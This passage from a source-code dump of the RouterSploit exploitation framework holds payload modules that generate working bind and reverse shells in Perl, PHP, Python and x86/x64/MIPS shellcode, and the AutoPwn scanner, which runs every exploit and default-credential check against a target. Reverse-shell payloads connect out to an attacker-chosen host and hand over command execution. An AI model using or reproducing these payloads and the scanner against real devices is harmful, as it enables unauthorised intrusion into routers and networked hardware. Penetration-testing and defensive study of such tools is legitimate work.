b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            b\"\\xc9\\x0f\\x02\\x24\" +            # li      v0,4041\n            b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            reverse_port + b\"\\x05\\x3c\" +     # \"\\x7a\\x69\" lui     a1,0x697a\n            b\"\\x02\\x00\\xa5\\x34\" +            # ori     a1,a1,0x2\n            b\"\\xf8\\xff\\xa5\\xaf\" +            # sw      a1,-8(sp)\n            reverse_ip[2:] + b\"\\x05\\x3c\" +   # \"\\x00\\x01\" lui     a1,0x100\n            reverse_ip[:2] + b\"\\xa5\\x34\" +   # \"\\x7f\\x00\" ori     a1,a1,0x7f\n            b\"\\xfc\\xff\\xa5\\xaf\" +            # sw      a1,-4(sp)\n            b\"\\xf8\\xff\\xa5\\x23\" +            # addi    a1,sp,-8\n            b\"\\xef\\xff\\x0c\\x24\" +            # li      t4,-17\n            b\"\\x27\\x30\\x80\\x01\" +            # nor     a2,t4,zero\n            b\"\\x4a\\x10\\x02\\x24\" +            # li      v0,4170\n            b\"\\x0c\\x09\\x09\\x01\" +            # syscall 0x42424\n            b\"\\x62\\x69\\x08\\x3c\" +            # lui     t0,0x6962\n            b\"\\x2f\\x2f\\x08\\x35\" +            # ori     t0,t0,0x2f2f\n            b\"\\xec\\xff\\xa8\\xaf\" +            # sw      t0,-20(sp)\n            b\"\\x73\\x68\\x08\\x3c\" +            # lui     t0,0x6873\n            b\"\\x6e\\x2f\\x08\\x35\" +            # ori     t0,t0,0x2f6e\n            b\"\\xf0\\xff\\xa8\\xaf\" +            # sw      t0,-16(sp)\n            b\"\\xff\\xff\\x07\\x28\" +            # slti    a3,zero,-1\n            b\"\\xf4\\xff\\xa7\\xaf\" +            # sw      a3,-12(sp)\n            b\"\\xfc\\xff\\xa7\\xaf\" +            # sw      a3,-4(sp)\n            b\"\\xec\\xff\\xa4\\x23\" +            # addi    a0,sp,-20\n            b\"\\xec\\xff\\xa8\\x23\" +            # addi    t0,sp,-20\n            b\"\\xf8\\xff\\xa8\\xaf\" +            # sw      t0,-8(sp)\n            b\"\\xf8\\xff\\xa5\\x23\" +            # addi    a1,sp,-8\n            b\"\\xec\\xff\\xbd\\x27\" +            # addiu   sp,sp,-20\n            b\"\\xff\\xff\\x06\\x28\" +            # slti    a2,zero,-1\n            b\"\\xab\\x0f\\x02\\x24\" +            # li      v0,4011\n            b\"\\x0c\\x09\\x09\\x01\"              # syscall 0x42424\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/perl/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/perl/bind_tcp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.perl.base64 import Encoder\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Perl Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell by using perl.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PERL\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"use IO;foreach my $key(keys %ENV){\" +\n            \"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,\" +\n            str(self.rport) +\n            \",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){\" +\n            \"if($_=~ /(.*)/){system $1;}};\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/perl/reverse_tcp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.perl.base64 import Encoder\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Perl Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell by using perl.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PERL\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"use IO;foreach my $key(keys %ENV){\" +\n            \"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\\\"\" +\n            self.lhost +\n            \":\" +\n            str(self.lport) +\n            \"\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/php/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/php/bind_tcp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.php.base64 import Encoder\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"PHP Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell by using php.\",\n        \"authors\": (\n            \"Andre Marques (zc00l)\",  # shellpop\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PHP\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);\" +\n            \"socket_bind($s,\\\"0.0.0.0\\\",{});\".format(self.rport) +\n            \"socket_listen($s,1);\" +\n            \"$cl=socket_accept($s);\" +\n            \"while(1){\" +\n            \"if(!socket_write($cl,\\\"$ \\\",2))exit;\" +\n            \"$in=socket_read($cl,100);\" +\n            \"$cmd=popen(\\\"$in\\\",\\\"r\\\");\" +\n            \"while(!feof($cmd)){\" +\n            \"$m=fgetc($cmd);\" +\n            \"socket_write($cl,$m,strlen($m));\" +\n            \"}}\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/php/reverse_tcp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.php.base64 import Encoder\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"PHP Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell by using php.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PHP\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"$s=fsockopen(\\\"tcp://{}\\\",{});\".format(self.lhost, self.lport) +\n            \"while(!feof($s)){exec(fgets($s),$o);$o=implode(\\\"\\\\n\\\",$o);$o.=\\\"\\\\n\\\";fputs($s,$o);}\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/python/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/python/bind_tcp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.python.base64 import Encoder\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Python Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell by using python.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PYTHON\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"import socket,os\\n\" +\n            \"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\" +\n            \"so.bind(('0.0.0.0',{}))\\n\".format(self.rport) +\n            \"so.listen(1)\\n\" +\n            \"so,addr=so.accept()\\n\" +\n            \"x=False\\n\" +\n            \"while not x:\\n\" +\n            \"\\tdata=so.recv(1024)\\n\" +\n            \"\\tstdin,stdout,stderr,=os.popen3(data)\\n\" +\n            \"\\tstdout_value=stdout.read()+stderr.read()\\n\" +\n            \"\\tso.send(stdout_value)\\n\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/python/bind_udp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.python.base64 import Encoder\n\n\nclass Payload(BindTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Python Bind UDP\",\n        \"description\": \"Creates interactive udp bind shell by using python.\",\n        \"authors\": (\n            \"Andre Marques (zc00l)\",  # shellpop\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PYTHON\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"from subprocess import Popen,PIPE\\n\" +\n            \"from socket import socket, AF_INET, SOCK_DGRAM\\n\" +\n            \"s=socket(AF_INET,SOCK_DGRAM)\\n\" +\n            \"s.bind(('0.0.0.0',{}))\\n\".format(self.rport) +\n            \"while 1:\\n\"\n            \"\\tdata,addr=s.recvfrom(1024)\\n\" +\n            \"\\tout=Popen(data,shell=True,stdout=PIPE,stderr=PIPE).communicate()\\n\" +\n            \"\\ts.sendto(''.join([out[0],out[1]]),addr)\\n\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/python/reverse_tcp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.python.base64 import Encoder\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Python Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell by using python.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PYTHON\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"import socket,subprocess,os\\n\" +\n            \"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n\" +\n            \"s.connect(('{}',{}))\\n\".format(self.lhost, self.lport) +\n            \"os.dup2(s.fileno(),0)\\n\" +\n            \"os.dup2(s.fileno(),1)\\n\" +\n            \"os.dup2(s.fileno(),2)\\n\" +\n            \"p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/python/reverse_udp.py",
    "content": "from routersploit.core.exploit.option import OptEncoder\nfrom routersploit.core.exploit.payloads import (\n    GenericPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\nfrom routersploit.modules.encoders.python.base64 import Encoder\n\n\nclass Payload(ReverseTCPPayloadMixin, GenericPayload):\n    __info__ = {\n        \"name\": \"Python Reverse UDP\",\n        \"description\": \"Creates interactive udp reverse shell by using python.\",\n        \"authors\": (\n            \"Andre Marques (zc00l)\",  # shellpop\n            \"Marcin Bury <marcin[at]threat9.com>\"  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.PYTHON\n    encoder = OptEncoder(Encoder(), \"Encoder\")\n\n    def generate(self):\n        return (\n            \"import os\\n\" +\n            \"import pty\\n\" +\n            \"import socket\\n\" +\n            \"s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n\" +\n            \"s.connect(('{}',{}))\\n\".format(self.lhost, self.lport) +\n            \"os.dup2(s.fileno(), 0)\\n\" +\n            \"os.dup2(s.fileno(), 1)\\n\" +\n            \"os.dup2(s.fileno(), 2)\\n\" +\n            \"pty.spawn('/bin/sh');\\n\" +\n            \"s.close()\\n\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/x64/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/x64/bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\n\n\nclass Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"X64 Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell for X64 architecture.\",\n        \"authors\": (\n            \"ricky\",  # metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        )\n    }\n\n    architecture = Architectures.X64\n\n    def generate(self):\n        bind_port = utils.convert_port(self.rport)\n\n        return (\n            b\"\\x6a\\x29\" +                      # pushq  $0x29\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x99\" +                          # cltd\n            b\"\\x6a\\x02\" +                      # pushq  $0x2\n            b\"\\x5f\" +                          # pop    %rdi\n            b\"\\x6a\\x01\" +                      # pushq  $0x1\n            b\"\\x5e\" +                          # pop    %rsi\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x48\\x97\" +                      # xchg   %rax,%rdi\n            b\"\\x52\" +                          # push   %rdx\n            b\"\\xc7\\x04\\x24\\x02\\x00\" +          # movl   $0xb3150002,(%rsp)\n            bind_port +                        # port\n            b\"\\x48\\x89\\xe6\" +                  # mov    %rsp,%rsi\n            b\"\\x6a\\x10\" +                      # pushq  $0x10\n            b\"\\x5a\" +                          # pop    %rdx\n            b\"\\x6a\\x31\" +                      # pushq  $0x31\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x6a\\x32\" +                      # pushq  $0x32\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x48\\x31\\xf6\" +                  # xor    %rsi,%rsi\n            b\"\\x6a\\x2b\" +                      # pushq  $0x2b\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x48\\x97\" +                      # xchg   %rax,%rdi\n            b\"\\x6a\\x03\" +                      # pushq  $0x3\n            b\"\\x5e\" +                          # pop    %rsi\n            b\"\\x48\\xff\\xce\" +                  # dec    %rsi\n            b\"\\x6a\\x21\" +                      # pushq  $0x21\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x75\\xf6\" +                      # jne    33 <dup2_loop>\n            b\"\\x6a\\x3b\" +                      # pushq  $0x3b\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x99\" +                          # cltd\n            b\"\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\" +  # movabs $0x68732f6e69622f,%rbx\n            b\"\\x73\\x68\\x00\" +                  #\n            b\"\\x53\" +                          # push   %rbx\n            b\"\\x48\\x89\\xe7\" +                  # mov    %rsp,%rdi\n            b\"\\x52\" +                          # push   %rdx\n            b\"\\x57\" +                          # push   %rdi\n            b\"\\x48\\x89\\xe6\" +                  # mov    %rsp,%rsi\n            b\"\\x0f\\x05\"                        # syscall\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/x64/reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\n\n\nclass Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"X64 Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell for X64 architecture.\",\n        \"authors\": (\n            \"ricky\",  # metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        )\n    }\n\n    architecture = Architectures.X64\n\n    def generate(self):\n        reverse_ip = utils.convert_ip(self.lhost)\n        reverse_port = utils.convert_port(self.lport)\n\n        return (\n            b\"\\x6a\\x29\" +                      # pushq  $0x29\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x99\" +                          # cltd\n            b\"\\x6a\\x02\" +                      # pushq  $0x2\n            b\"\\x5f\" +                          # pop    %rdi\n            b\"\\x6a\\x01\" +                      # pushq  $0x1\n            b\"\\x5e\" +                          # pop    %rsi\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x48\\x97\" +                      # xchg   %rax,%rdi\n            b\"\\x48\\xb9\\x02\\x00\" +              # movabs $0x100007fb3150002,%rcx\n            reverse_port +                     # port\n            reverse_ip +                       # ip\n            b\"\\x51\" +                          # push   %rcx\n            b\"\\x48\\x89\\xe6\" +                  # mov    %rsp,%rsi\n            b\"\\x6a\\x10\" +                      # pushq  $0x10\n            b\"\\x5a\" +                          # pop    %rdx\n            b\"\\x6a\\x2a\" +                      # pushq  $0x2a\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x6a\\x03\" +                      # pushq  $0x3\n            b\"\\x5e\" +                          # pop    %rsi\n            b\"\\x48\\xff\\xce\" +                  # dec    %rsi\n            b\"\\x6a\\x21\" +                      # pushq  $0x21\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x0f\\x05\" +                      # syscall\n            b\"\\x75\\xf6\" +                      # jne    27 <dup2_loop>\n            b\"\\x6a\\x3b\" +                      # pushq  $0x3b\n            b\"\\x58\" +                          # pop    %rax\n            b\"\\x99\" +                          # cltd\n            b\"\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\" +  # movabs $0x68732f6e69622f,%rbx\n            b\"\\x73\\x68\\x00\" +                  #\n            b\"\\x53\" +                          # push   %rbx\n            b\"\\x48\\x89\\xe7\" +                  # mov    %rsp,%rdi\n            b\"\\x52\" +                          # push   %rdx\n            b\"\\x57\" +                          # push   %rdi\n            b\"\\x48\\x89\\xe6\" +                  # mov    %rsp,%rsi\n            b\"\\x0f\\x05\"                        # syscall\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/x86/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/x86/bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\n\n\nclass Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"X86 Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell for X86 architecture.\",\n        \"authors\": (\n            \"Ramon de C Valle\",  # metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        )\n    }\n\n    architecture = Architectures.X86\n\n    def generate(self):\n        bind_port = utils.convert_port(self.rport)\n\n        return (\n            b\"\\x31\\xdb\" +                  # xorl    %ebx,%ebx\n            b\"\\xf7\\xe3\" +                  # mull    %ebx\n            b\"\\x53\" +                      # pushl   %ebx\n            b\"\\x43\" +                      # incl    %ebx\n            b\"\\x53\" +                      # pushl   %ebx\n            b\"\\x6a\\x02\" +                  # pushl   $0x02\n            b\"\\x89\\xe1\" +                  # movl    %esp,%ecx\n            b\"\\xb0\\x66\" +                  # movb    $0x66,%al\n            b\"\\xcd\\x80\" +                  # int     $0x80\n            b\"\\x5b\" +                      # popl    %ebx\n            b\"\\x5e\" +                      # popl    %esi\n            b\"\\x52\" +                      # pushl   %edx\n            b\"\\x68\\x02\\x00\" + bind_port +  # pushl   port\n            b\"\\x6a\\x10\" +                  # pushl   $0x10\n            b\"\\x51\" +                      # pushl   %ecx\n            b\"\\x50\" +                      # pushl   %eax\n            b\"\\x89\\xe1\" +                  # movl    %esp,%ecx\n            b\"\\x6a\\x66\" +                  # pushl   $0x66\n            b\"\\x58\" +                      # popl    %eax\n            b\"\\xcd\\x80\" +                  # int     $0x80\n            b\"\\x89\\x41\\x04\" +              # movl    %eax,0x04(%ecx)\n            b\"\\xb3\\x04\" +                  # movb    $0x04,%bl\n            b\"\\xb0\\x66\" +                  # movb    $0x66,%al\n            b\"\\xcd\\x80\" +                  # int     $0x80\n            b\"\\x43\" +                      # incl    %ebx\n            b\"\\xb0\\x66\" +                  # movb    $0x66,%al\n            b\"\\xcd\\x80\" +                  # int     $0x80\n            b\"\\x93\" +                      # xchgl   %eax,%ebx\n            b\"\\x59\" +                      # popl    %ecx\n            b\"\\x6a\\x3f\" +                  # pushl   $0x3f\n            b\"\\x58\" +                      # popl    %eax\n            b\"\\xcd\\x80\" +                  # int     $0x80\n            b\"\\x49\" +                      # decl    %ecx\n            b\"\\x79\\xf8\" +                  # jns     <bndsockcode+50>\n            b\"\\x68\\x2f\\x2f\\x73\\x68\" +      # pushl   $0x68732f2f\n            b\"\\x68\\x2f\\x62\\x69\\x6e\" +      # pushl   $0x6e69622f\n            b\"\\x89\\xe3\" +                  # movl    %esp,%ebx\n            b\"\\x50\" +                      # pushl   %eax\n            b\"\\x53\" +                      # pushl   %ebx\n            b\"\\x89\\xe1\" +                  # movl    %esp,%ecx\n            b\"\\xb0\\x0b\" +                  # movb    $0x0b,%al\n            b\"\\xcd\\x80\"                    # int     $0x80\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/x86/reverse_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    ReverseTCPPayloadMixin,\n)\n\n\nclass Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"X86 Reverse TCP\",\n        \"description\": \"Creates interactive tcp reverse shell for X86 architecture.\",\n        \"authors\": (\n            \"Ramon de C Valle\",  # metasploit module\n            \"joev\",  # metasploit module\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        )\n    }\n\n    architecture = Architectures.X86\n\n    def generate(self):\n        reverse_ip = utils.convert_ip(self.lhost)\n        reverse_port = utils.convert_port(self.lport)\n\n        return (\n            b\"\\x31\\xdb\" +                     # xor ebx,ebx\n            b\"\\xf7\\xe3\" +                     # mul ebx\n            b\"\\x53\" +                         # push ebx\n            b\"\\x43\" +                         # inc ebx\n            b\"\\x53\" +                         # push ebx\n            b\"\\x6a\\x02\" +                     # push byte +0x2\n            b\"\\x89\\xe1\" +                     # mov ecx,esp\n            b\"\\xb0\\x66\" +                     # mov al,0x66 (sys_socketcall)\n            b\"\\xcd\\x80\" +                     # int 0x80\n            b\"\\x93\" +                         # xchg eax,ebx\n            b\"\\x59\" +                         # pop ecx\n            b\"\\xb0\\x3f\" +                     # mov al,0x3f (sys_dup2)\n            b\"\\xcd\\x80\" +                     # int 0x80\n            b\"\\x49\" +                         # dec ecx\n            b\"\\x79\\xf9\" +                     # jns 0x11\n            b\"\\x68\" + reverse_ip +            # push ip addr\n            b\"\\x68\\x02\\x00\" + reverse_port +  # push port\n            b\"\\x89\\xe1\" +                     # mov ecx,esp\n            b\"\\xb0\\x66\" +                     # mov al,0x66 (sys_socketcall)\n            b\"\\x50\" +                         # push eax\n            b\"\\x51\" +                         # push ecx\n            b\"\\x53\" +                         # push ebx\n            b\"\\xb3\\x03\" +                     # mov bl,0x3\n            b\"\\x89\\xe1\" +                     # mov ecx,esp\n            b\"\\xcd\\x80\" +                     # int 0x80\n            b\"\\x52\" +                         # push edx\n            b\"\\x68\\x6e\\x2f\\x73\\x68\" +         # push n/sh\n            b\"\\x68\\x2f\\x2f\\x62\\x69\" +         # push //bi\n            b\"\\x89\\xe3\" +                     # mov ebx,esp\n            b\"\\x52\" +                         # push edx\n            b\"\\x53\" +                         # push ebx\n            b\"\\x89\\xe1\" +                     # mov ecx,esp\n            b\"\\xb0\\x0b\" +                     # mov al,0xb (execve)\n            b\"\\xcd\\x80\"                       # int 0x80\n        )\n"
  },
  {
    "path": "routersploit/modules/scanners/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/scanners/autopwn.py",
    "content": "import os\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.exploit.exploit import Protocol\n\n\nclass Exploit(Exploit):\n    __info__ = {\n        \"name\": \"AutoPwn\",\n        \"description\": \"Module scans for all vulnerabilities and weaknesses.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multi\",\n        ),\n    }\n\n    modules = [\"generic\", \"routers\", \"cameras\", \"misc\"]\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n\n    vendor = OptString(\"any\", \"Vendor concerned (default: any)\")\n\n    check_exploits = OptBool(True, \"Check exploits against target: true/false\", advanced=True)\n    check_creds = OptBool(True, \"Check factory credentials against target: true/false\", advanced=True)\n\n    http_use = OptBool(True, \"Check HTTP[s] service: true/false\")\n    http_port = OptPort(80, \"Target Web Interface Port\", advanced=True)\n    http_ssl = OptBool(False, \"HTTPS enabled: true/false\")\n\n    ftp_use = OptBool(True, \"Check FTP[s] service: true/false\")\n    ftp_port = OptPort(21, \"Target FTP port (default: 21)\", advanced=True)\n    ftp_ssl = OptBool(False, \"FTPS enabled: true/false\")\n\n    ssh_use = OptBool(True, \"Check SSH service: true/false\")\n    ssh_port = OptPort(22, \"Target SSH port (default: 22)\", advanced=True)\n\n    telnet_use = OptBool(True, \"Check Telnet service: true/false\")\n    telnet_port = OptPort(23, \"Target Telnet port (default: 23)\", advanced=True)\n\n    snmp_use = OptBool(True, \"Check SNMP service: true/false\")\n    snmp_community = OptString(\"public\", \"Target SNMP community name (default: public)\", advanced=True)\n    snmp_port = OptPort(161, \"Target SNMP port (default: 161)\", advanced=True)\n\n    tcp_use = OptBool(True, \"Check custom TCP services\", advanced=True)\n    # tcp_port = OptPort(None, \"Restrict TCP custom service tests to specific port (default: None)\")\n\n    udp_use = OptBool(True, \"Check custom UDP services\", advanced=True)\n    # udp_port = OptPort(None, \"Restrict UDP custom service tests to specific port (default: None)\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    def __init__(self):\n        self.vulnerabilities = []\n        self.creds = []\n        self.not_verified = []\n        self._exploits_directories = [os.path.join(utils.MODULES_DIR, \"exploits\", module) for module in self.modules]\n        self._creds_directories = [os.path.join(utils.MODULES_DIR, \"creds\", module) for module in self.modules]\n\n    def run(self):\n        self.vulnerabilities = []\n        self.creds = []\n        self.not_verified = []\n\n        # Update list of directories with specific vendor if needed\n        if self.vendor != 'any':\n            self._exploits_directories = [os.path.join(utils.MODULES_DIR, \"exploits\", module, self.vendor) for module in self.modules]\n\n        if self.check_exploits:\n            # vulnerabilities\n            print_info()\n            print_info(\"\\033[94m[*]\\033[0m\", \"{} Starting vulnerablity check...\".format(self.target))\n\n            modules = []\n            for directory in self._exploits_directories:\n                for module in utils.iter_modules(directory):\n                    modules.append(module)\n\n            data = LockedIterator(modules)\n            self.run_threads(self.threads, self.exploits_target_function, data)\n\n        if self.check_creds:\n            # default creds\n            print_info()\n            print_info(\"\\033[94m[*]\\033[0m\", \"{} Starting default credentials check...\".format(self.target))\n            modules = []\n            for directory in self._creds_directories:\n                for module in utils.iter_modules(directory):\n                    modules.append(module)\n\n            data = LockedIterator(modules)\n            self.run_threads(self.threads, self.creds_target_function, data)\n\n        # results:\n        print_info()\n        if self.not_verified:\n            print_info(\"\\033[94m[*]\\033[0m\", \"{} Could not verify exploitability:\".format(self.target))\n            for v in self.not_verified:\n                print_info(\" - {}:{} {} {}\".format(*v))\n            print_info()\n\n        if self.vulnerabilities:\n            print_info(\"\\033[92m[+]\\033[0m\", \"{} Device is vulnerable:\".format(self.target))\n            headers = (\"Target\", \"Port\", \"Service\", \"Exploit\")\n            print_table(headers, *self.vulnerabilities)\n            print_info()\n        else:\n            print_info(\"\\033[91m[-]\\033[0m\", \"{} Could not confirm any vulnerablity\\n\".format(self.target))\n\n        if self.creds:\n            print_info(\"\\033[92m[+]\\033[0m\", \"{} Found default credentials:\".format(self.target))\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.creds)\n            print_info()\n        else:\n            print_info(\"\\033[91m[-]\\033[0m\", \"{} Could not find default credentials\".format(self.target))\n\n    def exploits_target_function(self, running, data):\n        while running.is_set():\n            try:\n                module = data.next()\n                exploit = module()\n            except StopIteration:\n                break\n            else:\n                exploit.target = self.target\n\n                # Avoid checking specific protocol - reduce network impact\n                if exploit.target_protocol == Protocol.HTTP:\n                    if not self.http_use:\n                        continue\n                    exploit.port = self.http_port\n                    if self.http_ssl:\n                        exploit.ssl = \"true\"\n                        exploit.target_protocol = Protocol.HTTPS\n\n                elif exploit.target_protocol is Protocol.FTP:\n                    if not self.ftp_use:\n                        continue\n                    exploit.port = self.ftp_port\n                    if self.ftp_ssl:\n                        exploit.ssl = \"true\"\n                        exploit.target_protocol = Protocol.FTPS\n\n                elif exploit.target_protocol is Protocol.TELNET:\n                    if not self.telnet_use:\n                        continue\n                    exploit.port = self.telnet_port\n\n                elif exploit.target_protocol is Protocol.SSH:\n                    if not self.ssh_use:\n                        continue\n                    exploit.port = self.ssh_port\n\n                elif exploit.target_protocol is Protocol.SNMP:\n                    if not self.snmp_use:\n                        continue\n                    exploit.port = self.ssh_port\n\n                elif exploit.target_protocol is Protocol.TCP:\n                    if not self.tcp_use:\n                        continue\n\n                elif exploit.target_protocol is Protocol.UDP:\n                    if not self.udp_use:\n                        continue\n\n        #        elif exploit.target_protocol not in [\"tcp\", \"udp\"]:\n        #            exploit.target_protocol = \"custom\"\n\n                response = exploit.check()\n\n                if response is True:\n                    print_info(\"\\033[92m[+]\\033[0m\", \"{}:{} {} {} is vulnerable\".format(\n                               exploit.target, exploit.port, exploit.target_protocol, exploit))\n                    